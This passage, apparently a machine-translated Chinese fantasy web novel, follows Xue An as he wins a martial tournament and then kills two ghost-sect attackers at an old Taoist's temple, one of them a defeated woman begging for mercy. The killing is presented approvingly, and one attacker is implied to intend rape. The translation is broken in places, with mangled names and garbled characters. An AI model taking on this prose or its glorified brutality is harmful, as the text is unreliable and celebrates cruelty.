    One side is Yu Ling''s long sword made by Qi, and the other side is two slender fingers.


    The contrast between the two is extremely different.


    even gives people the illusion that these **** will turn into powder in the next second.


    But on the contrary, this sword of Yu Ling could no longer be cut.


    These **** are like two big mountains, and the suppressed sword energy can''t get in at all.


    Yu Ling looked stagnant.


    Xue An said faintly: "Although he is stronger than your apprentice, but still...too weak!"


    said Xue An''s finger.


    Snapped.


    After a crisp sound.


    This Qi sword was pinched off for life, and then turned into nothing.


    everyone is shocked!


    Xiang Bing suddenly stood up, watching the scene on stage in disbelief.


    There was also a hint of surprise in Yu Ling''s eyes, but he still sneered: "Sure enough, you have something to do, but you still have to die!"


    Talking about Yu Ling''s ten fingers all out, ten Qi swords came straight to Xue An.


    The speed is so fast that it even blows up the air along the way.


    Xue An still did not move.


    Yu Ling was happy, because the Qi Sword was about to be inserted into Xue An''s body.


    He even saw Xue An lying on the ground covered in blood in the next second.


    But at this moment, Xue An raised his head, looked at the cloudy sky, and said faintly: "Now... it''s me!"


    Talking, Xue An lightly raised his right hand, and said coldly: "Look at me...a punch!"


    This is a very ordinary punch.


    Slowly and calmly.


    But it was just such a punch, but UU reading made Yu Ling''s complexion drastically changed and he backed away.


    at the same time.


    Everyone under the stage felt that the heaven and the earth suddenly turned upside down, and they all fell to the ground.


    As for the ring...


    This seemingly indestructible arena has been completely turned over at this moment.


    As for Yu Ling, he retreated to the distance in a panic, panting, and looked at Xue An with an extremely panic expression.


    It was the instinct of being a top warrior that told him the horror of Xue An''s punch, so he retreated quickly.


    If he retreats a little bit slower, now he is dead in it.


    At the same time, Leng Yun under the stage looked at Xue An''s back standing proudly, his teeth fighting.


    That''s right!


    it''s him!


    The high breath I felt before the start of the conference came from him!


    Leng Yun didn''t even hesitate, turned around and left.


    Because she knows that this man is not comparable to her or anyone else!


    "This...what kind of boxing is this?" Yu Ling said dryly, with an imperceptible tremor in his voice.


    Xue An retracted his fist and smiled slightly, "It''s not bad, it can avoid my punch! But...not enough!"


    After that, a shocking momentum rose to the sky, and the entire Qingmang Mountain seemed to tremble slightly under this momentum.


    The last trace of Yu Ling''s luck also disappeared. He finally understood that the gap between himself and this man was not a little bit, but a desperate gap.


    So he made a correct decision, and he soared into the sky after a vertical step, trying to escape.


    Xue An said calmly at this time: "Want to run? It''s a pity, it''s too late!"


    "Look at the second form of the six patterns of killing gods, divide yin and yang!"

 Chapter 66： This... is this a fairy?

    Time has stalled under this punch.


    Xue An seemed to be the only one left between the world, and his shocking punch.


    is like a chaotic world, after being struck by this punch, it suddenly becomes black and white.


    This is Xue An''s supreme mystery when he was a fairy.


    Killing God Six Type Second Punch, divide Yin and Yang!


    Yu Ling in mid-air was so scared that he could not help but groaned and shouted: "Mr. Rao..."


    Without uttering the fate, the punch has already come close.


    Yu Ling couldn''t even struggle, so he was thrown into powder by the strong punch that was placed in the fairy world.


    Then the punch went into the sky without rest.


    Boom!


    The dark clouds that originally obscured the sky were blown away by Xue An''s fist.


    Within a hundred miles, overcast clouds scattered and a clear sky.


    The spring sun shone down, shining on every stunned face.


    "This... is this a fairy?" Someone sighed almost moaning.


    No one responded because everyone was stupid.


    At this time, Xue An retracted his fist and scanned the stage lightly.


    No one dared to look directly at him.


    Especially Yuehua Fairy Xiang Bing, Shi Hao Shi Zhuli and others.


    is even more silent.


    At this moment, Xiang Bing''s heart is full of self-deprecation and fear.


    I just mocked others for seeking death?


    Now it looks like he is going to die by himself!


    No wonder this little girl refuses to worship herself as a teacher, compared with other celestial means... She is nothing!


    As for the two brothers and sisters, Shi Hao and Shi Zhuli, they were already dumbfounded and speechless.


    Especially Shi Hao, from the beginning, he didn''t look down on Xue An, thinking he was just an ordinary person.


    But now my face is swollen by the facts in front of me.


    He finally understood why Xue An always looked at himself with the eyes of caring for children with intellectual disabilities.


    Because of myself... I do have some mental retardation.


    Xue An returned to the stands, and Tan Dong stood up with a respectful fist.


    "Mr. Xue!"


    Xue An nodded, then smiled at the two daughters and said, "Is Baba good?"


    "Yeah, Baba, you are amazing! But where is that old man who can fly?" Xue Xiang asked.


    Xue An scratched his head, thought for a moment, then smiled: "He may think it is too boring here, so let''s go back to his hometown! Let''s go, Dad will take you to eat delicious!"


    "Hmm!" Xue Nian nodded vigorously.


    Xue An led Xue Xiang and Xue Nian away.


    Xue Lan followed without hesitation.


    Many people looked at Xue An''s back with complicated eyes.


    Some people originally tried to go over and talk, but none of the momentum photographed on Xue An dare to go over.


    Tan Xiaoyu looked deeply at Xue Anyuan''s back. At this time, Tan Dong sighed beside her: "Even the heavenly man was beaten by Mr. Xue. Could it be that he has already stepped on..."


    Tan Dong didn''t say the words after ����, but the meaning was already obvious.


    Tan Xiaoyu was silent.


    "Let''s go! Go back to the hotel!" Tan Dong said.


    Tan Xiaoyu, Hua Tingting and others all left.


    Until they are gone, Xiang Bing, Shi Hao and Shi Zhuli and other talents let out a sigh of relief.


    Shi Hao smiled and said, "Fairy, this guy is quite amazing..."


    gave Shi Hao a cold look, turned around and left.


    She has already decided, and when she sees Xue An in the future, she takes the initiative to retreat.


    Because she can''t offend.


    As for people like Shi Hao, she didn''t bother to pay attention.


    Shi Hao asked himself to be boring, standing still a little awkward.


    At this time Shi Zhuli paled and said: "Brother, this Mr. Xue, don''t hate us, do you trouble us?"


    Shi Hao couldn''t help but fought a cold war, and then said with some horror: "Let''s go now, leave here, and go home quickly!"


    Xue An did not return to the hotel with his two daughters, but came to the street.


    After turning a few turns, he came to a street where the school was.


    The school is not going to school at this time, and the streets are deserted.


    But there are still a few stalls open.


    Xue An came to a small stall and looked at this familiar scene with a sigh.


    It''s been seven or eight years since I left, but it''s still the same here.


    The stall owner was busy, and when he looked up and saw Xue An, he was taken aback.


    "What do you want to eat?"


    "Here are two bowls of tofu brains, take out the braised eggs! Remember not to coriander." Xue An said.


    "Okay, wait a minute!" The stall owner began to get busy.


    Xue An sat on the long bench with his two daughters.


    Once upon a time, he often came to this stall to drink a bowl of tofu.


    Especially on a cold winter night, drink a bowl of tofu nao with chili noodles and old vinegar, and the whole person will be ironed by the hot tofu from the inside out.


    Tofu Nao was served soon.


    Xue Nian stared at the tofu brain in front of him curiously, then scooped a spoonful and ate it.


    "Hiss!" Xue Nian was scalded and spit out his tongue.


    "It''s hot!"


    Xue An smiled, and then started to flip gently with a spoon.


    "Don''t worry about this, eat fast, it''s easy to burn your tongue!"


    The father and daughter sat in a small stall like this, sipping tofu brains contentedly.


    After Tan Xiaoyu returned to the hotel, he took out his mobile phone and opened the martial arts forum.


    At this moment, the martial arts forum has been detonated by what happened at today''s martial arts conference.


    "The old man is dead, where is Mr. Xue sacred? ��


    "The story that Mr. Xue and I had to tell����from the dictation of the girl in the front row when Mr. Xue was in junior high school! ��


    "The realm of heaven and man was blown by a punchMr. Xue is already a fairy? ��


    These messy posts flooded the entire martial arts forum.


    Tan Xiaoyu opened his post, took a deep breath, and replied with three words below.


    "I won!"


    Soon, this post was discovered by the moderator, and then added to the top.


    And the number of replies started to increase exponentially.


    "The front row worships the great god! As Mr. Xue''s friend, does this Mr. Xue have a girlfriend?"


    "Bah, the one upstairs is stupid, I am at the scene today, this Mr. Xue has two twin daughters!"


    "Gosh, the daddy with his daughter is so domineering and powerful? I''m almost wet!"


    "Where is it wet?"


    "Little pure is found upstairs!"


    "Does Mr. Xue accept a disciple? I want to apprentice!"


    "I want to be a teacher!"


    "Same!"


    In these replies, someone suddenly posted a few photos.


    One of them is Xue An''s profile face standing on the ring.


    Although it is a little far away, it looks a little fuzzy, but through this photo, you can still feel the aura of Xue An''s body.


    "So handsome!"


    "It''s crazy! He looks handsome, and his kung fu is so good!"


    The reply below was even more crazy, but Tan Xiaoyu looked at Xue An''s photo, a little silly.


    at the same time.


    is in Zhongdu thousands of miles away.


    In an exquisite and elegantly furnished quiet room, a beautiful girl who looks like an anime character, looked at Xue An''s photo on the Budo Forum, and was stunned.

 Chapter 67： Manshan pear blossoms all over

    It''s him?


    how is this possible? Isn''t he dead?


    The girl was shocked, and then quickly searched the forum for all photos of Xue An.


    Finally, she was sure.


    This man is indeed Xue An who has been missing for four years.


    She couldn''t help being furious.


    "Sure enough, he was a scumbag, and he disappeared for no reason. The sister who killed him escaped into the empty door for you, but when he came back, he didn''t know to come to his sister!"


    The girl was full of anger, and after a while she recovered her calm, and then said in a deep voice: "Come here."


    The door opened silently, and a respectful old man walked in.


    "Second Miss."


    "Prepare the car!"


    "Okay, where to go?"


    "Green Mang!"


    The martial arts meeting is over.


    refers to the death of the old man, which scared many people and made the subsequent competitions impossible.


    Many people quietly left Qingmang Town, but Xue An did not leave.


    Because he still has something to deal with.


    He did not leave, Hua Tingting and Tan Xiaoyu also stayed.


    Only Tan Dong had a temporary incident, and he left Qingmang Town and returned to Beijiang.


    On this day, Xue An took two daughters to go hiking.


    Tan Xiaoyu and Hua Tingting also followed.


    The air in the mountains is as pure as it has been washed.


    At this moment, it is close to Qingming, and it is drizzling almost every day near Qingmang Mountain.


    But this can''t stop the enthusiasm of the two little girls. Along the way, the two little girls are laughing and chattering.


    Looking at the two quirky daughters, Xue An''s heart was full of warmth.


    "Baba, do you see what it is!" Xue Xiang asked, pointing to the distant valley.


    Xue An took a look, "Oh, that''s Lishu!"


    "Pear tree? Can there be pears to eat?" Xue Nian was energetic again.


    Xue An smiled, "It hasn''t blossomed yet, how to eat it?"


    "When will it bloom then?" Xue Xiang asked.


    "It should be... coming soon!"


    "If it blooms, it must be very beautiful!" Xue Xiang said with some yearning.


    Xue An smiled faintly, and then squeezed a magic decision calmly.


    Their destination here is also in that pear garden.


    But because of the cold weather this year, it hasn��t bloomed yet.


    When they came to the valley, an amazing scene happened.


    The pear blossoms all over the mountain seem to be welcoming them, and they all open in an instant.


    The white pear blossoms seem to have caused another heavy snowfall in this valley.


    Xue Xiang and Xue Nian were taken aback for a while, and then rushed into the pear forest with joy.


    Hua Tingting and Tan Xiaoyu glanced at each other, their eyes were full of shock and confusion.


    There is no such a coincidence in the world.


    When my group of people came, the pear blossoms were in full bloom.


    Could it be that this is what Xue An did?


    Hua Tingting suddenly remembered that when he was in Qin''s house, Xue An had turned the garden full of flowers and plants into green overnight.


    Who is he?


    Why can we order flowers and plants? Let the pear blossoms in Manshan bloom?


    Xue An led everyone to the middle of the valley.


    There is actually a Taoist temple here.


    just fell into disrepair for a long time, looks a bit dilapidated.


    Xue An walked into Taoist Temple, it may be that the sound of footsteps disturbed the purity here.


    An old, lazy voice came from the room.


    "Believers have a look and go. If you want to donate, you can scan the code for cash."


    A smile appeared at the corner of Xue An''s mouth, "Old Zhai, are you still alive?"


    The room was quiet for a while, and then the door squeaked open, and a grey-clothed old man walked out from inside, still whispering: "Who! Hearing the sound so familiar?"


    When he looked up, he was taken aback when he saw Xue An with a smile on his lips.


    "You...you are..."


    Xue An nodded, "Old Zhai, don''t you recognize me?"


    Old Tao suddenly became excited, "Xiao''an? Are you still alive? But I remember that I have deduced you several trigrams, all showing that you are no longer alive?"


    Xue An smiled, "Maybe your hexagram is not accurate!"


    Old Zhai shook his head and said confidently: "My hexagrams are always accurate, which is really strange!"


    Then Zhai Old Road saw the two little girls following Xue An, and his faces couldn''t help but show a loving smile.


    "Two beautiful and pure little girls."


    "My daughter!" Xue An said proudly.


    Old Zhai nodded, "I can see it."


    then turned around and entered the room, after a while, he took out two small bracelets.


    "This is a bracelet that has been blessed by my day and night chanting, which can get rid of all evil!"


    "Thank you Grandpa!" the two little girls shouted in unison.


    "Well, good!" Zhai Laodao smiled so that his beard turned up.


    At this time, he noticed the strangeness around him. He was taken aback for a moment, and then said inexplicably, "Strange, obviously when I just came out, the pear blossoms haven''t bloomed yet! Why are all in bloom in the blink of an eye? "


    Xue An smiled, "Maybe we are welcome!"


    As he said, Xue An took out a bank card from his arms, "This is the pear money I owed you many years ago."


    Old Zhai did not refuse, and after taking it over, he smiled and said: "At the beginning, you vowed that you would pay back the money one day. I still don''t believe it. Now it seems that you did it! How much money is there?"


    "Tens of millions, I don''t know exactly how much." Xue An said lightly.


    The excited Zhai Laodao''s expression froze, "You...how much did you say?"


    "Tens of millions!"


    "Did you... rob the bank?" Zhai Old Road said.


    Xue An was angry and funny and said, "Do you think you can still rob the bank and pay for it these days?"


    "That''s the same, even my collection of donations supports payment by scanning the QR code!" Zhai Lao Dao said babblingly.


    It can be seen that he is very happy.


    not because of money but because of Xue An''s arrival.


    Xue An also sighed in his heart at this moment.


    When he was young, his family experienced big changes. In order to make money, he often went to the mountains to gather herbs. By chance, he came to this Pear Blossom Valley by chance, and then met Zhai Lao Dao, who was still a mature man.


    Although this old Taoist Zhai sometimes talks about him, he still sympathizes with Xue An and often uses the donations in the Taoist temple to help Xue An.


    Xue An said at the time that he would come back to repay.


    Now he did it.


    Xue An walked into the hall.


    This hall has also fallen into disrepair for a long time, and it looks a bit dim, but the idol is still intact.


    The gods enshrined here are very messy, there are three Qing Jade Emperors, and various gods.


    even enshrines the fox fairy in the corner.


    Xue An smiled, took a stick of fragrance, lit it and inserted it into the incense burner.


    "Why are you all in one incense burner? Divide it!" said Old Zhai.


    Xue An smiled, "No need, let them divide it by themselves!"


    Mr. Zhai disagrees, but when he turned and left.


    All the statues in this hall were trembling slightly, as if... paying tribute to Xue An.


    Xue An stood with his hands behind, looking at these idols with a slight smile on his face.


    These gods are all real.


    Xue An even dealt with them.


    But compared to Xue An, who is walking against the sky and has cultivated to the fairy world step by step.


    One of the biggest flaws of these native gods is that they can only survive by relying on the power of faith.


    Once you lose your faith, you are dead.


    And Xue An��s scent of fragrance is enough to give these gods the face.


    That''s why he said to let them divide by themselves.

 Chapter 68： Dare not dare!

    After Xue An came out of the hall, Zhai Laodao was sharpening his knife and walking towards the chicken shed.


    Some time ago, he caught a few wild pheasants and kept them in the chicken shed. He wanted to wait to eat eggs.


    But today Xue An came with two innocent and lovely daughters, so he naturally wanted to entertain him.


    But Xue An can��t help but suspect that this veteran is okay in the mountains when he sees his skillful killing methods.


    The two little girls were enthusiastically drilling around in each room, playing hide and seek.


    As for Tan Xiaoyu and Hua Tingting, they were fascinated by the picturesque scenery around them.


    The two little girls came to the main hall at this time, and they were not afraid to see these idols, but knelt on the futon with serious thoughts.


    "Bodhisattva bless me Baba, I will be safe from now on!" Xue Xiang and Xue Nian put their hands together and said very seriously.


    But as soon as the two people��s wish was spoken, these idols seemed to smile bitterly, and then there was a ethereal voice.


    "Dare not dare!"


    The two little girls, Xue Xiang and Xue Nian, were startled.


    "Sister, did you hear someone talking?"


    "Hmm! I heard it!"


    The two little girls were not scared yet, but excited.


    "It looks like these gods are talking!" Xue thought.


    "So awesome!" Xue Nian exclaimed.


    In fact, what the two of them didn''t know was that their desire just now shocked these idols in a cold sweat.


    joke!


    Bless Master Xianzun in peace?


    First, check whether you have that great ability!


    At this time, the two little girls turned their interest to the fox fairy statue in the corner.


    "Is this a fox?"


    "Like!"


    "Would you like to worship?"


    "of course!"


    Xue wanted to take the lead, leading his sister to kneel.


    clicked.


    The statue of the Fox Fairy was actually cracked.


    The sound of ���� attracted Zhai Lao Dao.


    "Hey, what''s the matter? How could this statue crack?" Old Zhai was puzzled.


    Xue An smiled slightly.


    He knows what''s going on.


    It must be this fox fairy who was afraid that his daughter would kneel down for him, so he broke himself first.


    After all... his daughter, she didn''t just kneel down casually.


    Dinner is naturally Xue An''s craftsmanship.


    The ���� wild pheasant was made by Xue An into a chicken, and some delicate dishes were made with fresh seasonal wild vegetables.


    Xue wants to eat with Xue Nian, and Hua Tingting and Tan Xiaoyu are also eager to eat.


    Nothing else, it''s because it''s so delicious.


    Zhai Lao Dao took out the gourd, drank a few sips of his own pear wine, and then whispered to Xue An, "What''s the matter with these two beautiful girls?"


    Xue An''s expression remained unchanged, "It''s just a friend!"


    Old Zhai pouted, "Who believes, why don''t I have such a beautiful female donor as a friend?"


    "That''s because you are ugly and lazy!" Xue An said unceremoniously.


    Old Road Zhai didn''t care, he smiled, and continued to drink slowly, and from time to time he gave the two little girls some food.


    It can be seen that he loves Xue Xiang and Xue Nian very much.


    After dinner, the two little girls followed Tan Xiaoyu and the others to the house.


    Xue An and Zhai Laodao sat opposite each other in the courtyard and began to play chess.


    But they played neither Go nor Chess.


    is gomoku.


    Di Lao Dao''s face showed a look of embarrassment from time to time, and sometimes hissed air-conditioning.


    "You have lost again!" Xue An put down the chess pieces and said lightly.


    Zhai Lao Dao looked depressed, "You kid, I have never beaten you when I played this backgammon from the beginning!"


    "Finally, you have never beaten me from the beginning of Go and then to chess. Now you can''t do gomoku. Do you have to play Junqi next time?" Xue An said.


    "Bah, who will play military chess with you? Next time I will fight the landlord with you!" Old Zhai said bitterly.


    "Okay! I hope you don''t fool around then!" Xue An said lightly.


    "That''s all, go to sleep!" Zhai Laodao yawned and entered the house.


    There are only two rooms in ����.


    Tan Xiaoyu and Hua Tingting live in the same room, and Xue An lives in the same room with their two daughters.


    I was too tired to play today. The two daughters lay on the bed and fell into a deep sleep in a short while.


    Xue An sat at the table in front of the window, drinking tea slowly.


    The dark clouds outside have long since cleared, and the sky is in the middle of the moon.


    I don��t know how long it will take.


    Suddenly, a gust of wind blew, and then a very ethereal voice came.


    "Old man Zhai, today is your death date!"


    The door of the main room was pushed abruptly, and Zhai Lao Dao, who was usually lazy, had clear eyes at the moment.


    When he walked to Xue An''s room, Zhai Laodao said solemnly: "No matter what you see, don''t come out! I will keep you safe! Remember!"


    Xue An did not speak, but just nodded.


    Zhai Lao Dao stood in the courtyard, raised his head and said solemnly, "No matter what I do, will you not let me go?"


    There was a strange smile, and then a man and a woman suddenly appeared on the courtyard wall.


    The man is tall and mighty, with a cold expression on his face.


    The female is a petite and sweet-looking girl.


    This combination gives people a very weird feeling.


    Old man Zhai''s expression became more and more solemn, "It turns out that it is a big King Kong cow with 10,000 yuan, and the little hand Jiao Niang is smaller. You two ghosts are here late at night, what do you want to do?"


    Yue Xiaoqian smiled softly and said: "Old man Zhai, how can I refuse to let you go? As long as you are willing to hand over the Dragon Hunting Plate, then we will turn around and leave. Don''t bother!"


    Old man Zhai shook his head, "I know what calculations your group of people are doing, especially now that the dragon spirit on the Qingmang Mountain is gradually growing. Obviously, the dragon is about to transform, and you guys have moved evil thoughts! But I tell you, The Dragon Hunting Disk is not with me at all! You want to rely on the Dragon Hunting Disk to subdue the Dragon It is simply wishful thinking!"


    The younger Qian gave a heartbreaking smile, and then said: "Is you here, we know, and you are against us for a beast, don''t you think it''s not worth it?"


    "There is nothing worthless in this world. Back then, my master asked me to wait for this dragon, so I have to take good care of it. Whether you are a thousand ghosts or a thousand ghosts, don''t want to get involved."


    Yue Xiaoqian''s smile gradually narrowed, and he said faintly: "Old man Zhai, if you want to think clearly, you can rely on your patience, not our two opponents, and...I seem to smell the smell of strangers. "


    Zhai Lao Dao''s complexion changed, and then he said in a deep voice, "They are all ordinary people and have nothing to do with these things!"


    "It doesn''t matter, it doesn''t matter, it''s not your decision! If you don''t hand over the Dragon Hunting Plate, then you just wait to die!" Yue Xiaoqian sneered.


    The big King Kong Bull roared at 10,000 and charged straight.


    Zhai Lao Dao had a solemn expression, and he dodged the collision, and then started fighting with this bull.


    A cow is as strong as a cow, but for a time it can''t help Zhai Lao Dao.


    Xiaoqian snorted coldly, and the whole person suddenly disappeared into the moonlight.


    When he reappeared, he had already come behind Zhai Lao Dao, and hit Zhai Lao Dao''s back with a palm.


    Zhai Lao Dao staggered, stumbled forward, and almost fell to the ground, bloodshot from the corners of his mouth.


    Yue Xiaoqian sneered and said, "Lao Zhai, I''ll give you another chance, can you make it?"


    Zhai Laodao looked firm, "Impossible!"


    "Then you go to die!" Yue Xiaoqian sneered and raised his hand.


    But just then, the door of the guest room creaked and opened!

 Chapter 69： Sorry, I mind!

    "Don''t open the door!" Zhai Lao said in a hurry.


    The smaller the Chiwa Niu 10,000, he stepped back and looked at it with a calm face.


    Xue An walked out slowly from the door, with a hint of helplessness on his face.


    "Isn''t it interesting to not sleep at night, fight and kill?"


    Old Zhai said anxiously: "Xue An, these two guys are not ordinary people, you are just ordinary people, and you have nothing to do with you!"


    Then Lao Zhai looked towards Yue Xiaoqian, and said in a deep voice: "You can see that he is just a mortal, let them go!"


    Yue Xiaoqian smiled sarcastically, "Do you think anyone can walk alive tonight?"


    Old Zhai was shocked, "You...you..."


    But at this moment, Xue An clapped his hands and said in agreement: "That''s right, no one can leave here alive tonight!"


    Zhai Lao Dao is going crazy.


    This guy, he didn''t come early or late, but he came at this time, and now he is still talking nonsense.


    The younger the younger Qian looked at Xue An with interest, "You are a funny man, I don''t mind playing with you first, and then let you die!"


    "Sorry, I mind!" Xue An said lightly.


    Yue Xiaoqian''s face turned gloomy, "Auntie, this is worthy of you, don''t be shameless!"


    Xue An shook his head and stretched out two fingers, "You got two things wrong!"


    "Oh? Which two?"


    "First, you are not my aunt''s grandmother. Second, whoever I said can''t leave, I mean you two, you can''t leave tonight!"


    These words made all the people present a little startled.


    The younger Chiwa Niu Yiwan looked at each other, and then let out a burst of laughter.


    "Oh, I''m so ridiculous. Everyone has these days, an ordinary person with no magic skills, who can''t let us go?" Yue Xiaoqian sneered.


    Zhai Lao Dao looked dignified, slowly got up, and said seriously: "Xue An, take someone away, I will deal with the two of them! Quick!"


    Xue An was noncommittal, but instead looked up at the moon that hung like a jade plate in the sky.


    At this moment, the moon blooms like water, and the spring breeze is blowing the pear trees, which makes people feel that the beauty of this night is not fair.


    "This kind of moonlight is actually more suitable for talking about life with the girls, rather than fighting and killing, so you two are really disappointing!" Xue An said lightly.


    "Stop talking nonsense, big, kill him! This guy must have something wrong with his head!" The younger Qian said in a deep voice.


    The big King Kong Niu snorted when he heard the words, and when he tried **** his right arm, the muscles were knotted together like a dragon and snake, and then rushed over.


    Xue An did not move.


    seemed to be frightened and stupid, and his expression remained so indifferent.


    A sneer appeared at the corner of Niu''s mouth.


    This punch, it is estimated that there will be no scum left on this kid.


    He has already smelled the scent of a woman in the house. After cleaning up these two guys, he can vent it out.


    Thinking of this, Niu Yiwan''s heart is hot, and the energy in his hands has increased by three points.


    The fist he saw was about to hit Xue An''s left cheek.


    Yue Xiaoqian didn''t even bother to look at the result. In her opinion, the man was dead.


    But at the moment of this critical moment, Xue An''s hand suddenly stretched out and blocked Niu Yiwan''s fist.


    Peng.


    There was a muffled sound.


    The expected brain crack did not appear, on the contrary, there was a crisp click.


    Then came the painful cry from Niu Yiwan.


    Xue An did not move, only his hair was swayed by the wind of Niu Yiwan''s fist, but after Niu Yiwan''s fist hit the back of Xue An''s hand, it seemed to hit a copper wall and iron wall.


    directly caused Niu Yiwan''s arm to comminuted fracture.


    Niu Yiwan was shocked, and subconsciously turned around and wanted to run.


    Xue An sighed slightly, "This is the moonlight, killing is really disappointing, but you send it to the door yourself, and you can''t blame others!"


    said, he punched out.


    There is no skill in this punch, not even as good as a child.


    But it was just such a punch, but Niu Yiwan couldn''t dodge at all, and it directly hit Niu Yiwan on the back.


    Niu Ten Thousand did not move, instead, there was a burst of crisp noise like firecrackers from his body.


    After a burst of crackling, Niu Yiwan''s joints were all shattered, only relying on muscle memory to stand still.


    Xue An slowly walked past him and took a breath.


    Niu Yiwan crashed down and died absolutely.


    It took twenty-seven seconds from beginning to end.


    At first, I thought that the smaller the winner was, the eyes were almost staring.


    Xue An smiled at her sharply at this time, "Now, it''s your turn!"


    The younger Qian, she felt as if she was being stared at by a Tyrannosaurus rex, and her muscles were stiff from extreme fear.


    She retreated as fast as she could, thinking about getting out of here as soon as possible.


    But no matter how quickly she backed away.


    Xue An will never follow her in a hurry.


    Xiaoqian, like a beast forced into desperation, wailed, and then displayed all his life''s learning, trying to kill this terrible man.


    But all her actions are like a child dancing a sword, which is of no use to Xue An.


    At this time, Yue Xiaoqian had already retreated to the courtyard wall.


    She gritted her teeth and screamed up to the sky.


    "Hundred ghosts...night walk!"


    A stray wind blew, and the moon in the sky was gone.


    Everything around is shrouded in thick black mist. UU reading www. uukanshu.com


    The ghost walks in the black fog, exuding an ominous breath.


    This is a secret technique that she uses to squeeze her vitality.


    This one will make her live five years less.


    The effect is excellent.


    At least this terrible man was shrouded in black mist.


    The younger Qian took a sigh of relief, feeling a little bit lucky.


    This man was terrifying, but he finally fell into his trap and died under Hyakki Yakou.


    is so sure, because Xiaoqian hasn''t seen anyone who can survive after being hit by Hyakki Yexing.


    It doesn''t matter whether this person is a real person or a happy person, even if he is a deity, he will only die if he is caught by the night of a hundred ghosts!


    Zhai Lao Dao roared, thinking about coming to rescue Xue An.


    Yue Xiaoqian sneered and said: "Old man Zhai, this is the mortal you keep talking about? If it wasn''t for grandma''s greatness, she would have almost followed your way!"


    Old man Zhai just wanted to say something.


    I saw a hand suddenly stretched out in the dark fog like a dome.


    A slender, very delicate hand.


    The younger Qian was stunned.


    Then the hand suddenly tore.


    The thick black mist was torn apart.


    Xue An appeared in front of Yue Xiaoqian indifferently, and smiled, "It''s funny, but useless!"


    The more Xiaoqian was so scared, he turned around and ran.


    ran with the strength of milking.


    But she didn''t even turn over the wall, she was grabbed by Xue An''s ankle, and then slammed to the ground.


    Peng.


    Yue Xiaoqian broke half of his bones by Shengsheng.


    When she wanted to look up, Xue An stepped on her head and said faintly: "Don''t move!"

 Chapter 70： Lord forgiveness

    "Big...sir, please spare your life!"


    The more Xiaoqian''s voice was trembling, only now did she understand that this man was not something she could afford.


    Zhai Lao Dao was also confused at this time.


    I haven''t seen him in a few years, why is this Xue An so good?


    "I said, no one can leave alive tonight!"


    As Xue An said, he had to use his feet, and Xiaoqian screamed in fright.


    "My lord is forgiving, my lord is forgiving, I am a member of the door of a thousand ghosts. If you kill me, there will be no peace in the future."


    Mr. Zhai also said at this time: "Xiao An, it doesn''t matter if this person is killed, but the Ten Thousand Ghosts behind her are very difficult to provoke."


    Xue An smiled faintly, "I have a problem, that is, the more difficult it is, the more I have to try."


    said, pressing his feet.


    Snapped.


    Yue Xiaoqian''s head was crushed.


    Old Road Zhai did not expect Xue An to be so decisive.


    was hesitating, a layer of black mist appeared on Xiaoqian''s corpse, gradually distorting under the moonlight, and finally turned into Xiaoqian''s appearance.


    Di Lao Dao''s expression became serious.


    is worthy of being a man from the door of ten thousand ghosts, who turned into a ghost in such a short time after death.


    Yue Xiaoqian''s soul looked at Xue An with a spiteful expression.


    "Our young master of the Ten Thousand Ghosts is about to arrive in Qingmang, and then you and this old man Zhai will both die!"


    As he said, Xiaoqian''s figure gradually faded, and he was about to escape from here.


    Her heart is full of resentment at this moment.


    Xue An��s foot destroyed the physical body she finally found, which is equivalent to ruining decades of Taoism.


    But at this moment, Xue An said lightly: "I said, no one can leave here alive tonight! The same goes for ghosts."


    Saying that Xue An suddenly stretched out his hand, half of his hand plunged into the void, and directly captured Yue Xiaoqian who was about to disappear.


    At this time, Xiaoqian knew what extreme fear was, and his face was full of incredible expression.


    "My lord is forgiving."


    This is her last word in the world.


    In the next second, she was shattered by Xue An''s finger, and since then she turned into nothingness.


    Soul flies away.


    The worst end.


    At the same time, a flame rose from the corpses of Niu Yiwan and Yue Xiaoqian, and the corpses were burned to nothing in an instant.


    Zhai Lao Dao''s eyelids popped.


    Xue An took out a small bottle and threw it to Old Road Zhai.


    "what is this?"


    "Healing."


    Zhai Lao Dao opened the bottle, and a refreshing fragrance spread.


    Zhai Lao Dao''s spirit was lifted, and the smell alone can tell that this pill is extraordinary.


    He poured out the pills and swallowed them with his mouth open.


    Soon, a burst of heat dissipated in the abdomen.


    Zhai Lao Dao spit out a spit of blood, and then he felt that he was refreshed and in an unprecedented state.


    "Let''s talk about it, what''s the matter?" Xue An said, sitting on the stone bench in the courtyard, looking at Zhai Old Road.


    "This Ten Thousand Ghost Gate came to me three months ago in order to get a treasure from me to deal with a dragon in the Qingmang Mountain about to transform."


    Xue An nodded, "Then what?"


    "Then I didn��t give them a chant, a joke, this dragon is my master��s lifesaver. When my master was dying, he specially asked me to take care of this dragon. As expected, it had to be the least. It will take a hundred years to transform."


    "I don''t know what''s wrong. There are signs of metamorphosis during this period of time. You must know that when the dragon is transformed into the weakest time, you can cooperate with the dragon hunting plate and you will have the opportunity to subdue this dragon."


    "Falling dragon... that''s a spirit beast! So many sects have moved their minds, among which the Ten Thousand Ghost Gate is the most."


    Xue An understands.


    The dragons mentioned by these people should be the one in the Black Water Pool of Qingmang Mountain.


    I didn''t expect that after I gave it a demon cultivation technique, its progress would be so fast, it was about to transform into a tribulation.


    At this time, Lao Dao said a little hesitantly: "Xiao An, take advantage of the day before dawn, you can quickly take your daughter and friends away!"


    "Go? Why do you want to go?"


    "These people are not easy to provoke, especially this young master of the Ten Thousand Ghosts, I heard that his supernatural powers are unpredictable."


    Xue An smiled faintly, "Then I''m leaving, what do you do?"


    Zhai Laodao looked at this dilapidated Taoist temple with some affection, "I have been here since I was young. At the beginning, it was Master and I. After Master died, I lived by myself. After so many years, I also have feelings. So I won��t go!"


    "But you are different. This matter has nothing to do with you. You will only be affected here. Go ahead. You also have this bank card. Now the money doesn''t make sense to me!" Zhai Laodao said solemnly. .


    Xue An did not answer, but looked at Zhai Laodao, and suddenly said: "You suddenly become so formal, which makes me feel very uncomfortable."


    Zhai Lao Dao smiled bitterly, took out the wine gourd and took a few more sips, "I don''t know what you have gone through in the past few years, now I can''t see you, but listen to me, let''s go!"


    Xue An turned his head and looked into the distance, "Now it''s too late to say this, people...have come!"


    Sure enough, after a while, there were noisy voices in the distance Zhai Lao Dao''s expression changed, and then he resumed the image of the dirty and shabby old way.


    But it was not the imaginary people in the door of ghosts, but a team of more than a dozen people, there are old and young, men and women, all wearing mountaineering clothes and fully equipped.


    is a man with an arrogant face. Seeing a sloppy old man sitting in the courtyard, he couldn''t help but say: "Hey, old man, stay with you for one night, and quickly clean up the house."


    said and threw a wad of money to Zhai Laodao.


